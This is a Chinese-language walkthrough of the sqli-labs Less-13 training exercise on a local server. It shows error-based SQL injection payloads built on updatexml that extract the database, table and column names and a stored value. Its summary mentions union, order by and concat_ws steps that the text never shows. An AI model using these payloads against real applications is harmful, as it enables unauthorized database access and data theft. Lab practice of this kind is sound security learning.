摘要 {#摘要}
本次对话是关于sqli-labs-master中的Less-13注入漏洞的实验过程。通过构造payload,我们成功地获取到了数据库的名称、表名、列名以及相应的数据。在操作过程中,我们使用了单引号的报错注入,并且利用updatexml函数来获取报错信息。同时,我们还介绍了一些优化注入语句的方法,例如使用order by进行排序,使用concat_ws函数拼接字段,以及使用union语句获取更多信息。
前言 {#前言}
本题的做法跟之前某题比较类似,它是单引号的报错注入
前期准备 {#前期准备}
开启phpstudy,开启apache服务以及mysql服务
实验环节 {#实验环节}
浏览器访问Less-13 {#浏览器访问Less-13}
http://127.0.0.1/sqli-labs-master/Less-13/
判断是否存在注入 {#判断是否存在注入}
?id=1' and 1=1 -- xz
#页面报错说明存在注入
判断库名 {#判断库名}
')and updatexml(1,concat(0x7e,(SELECT database()),0x7e),1)-- xz
#可得出我们的库名是security
判断表名 {#判断表名}
')and updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema='security'limit 0,1),0x7e),1)-- xz
#说明我们的表名是emails
!
判断列名 {#判断列名}
')and updatexml(1,concat(0x7e,(select column_name from information_schema.columns where table_schema='security' and table_name='emails' limit 0,1),0x7e),1)-- xz
#说明我们的列名是id
')and updatexml(1,concat(0x7e,(select id from emails limit 0,1),0x7e),1)-- xz
#说明我们emails下的id列的数据是1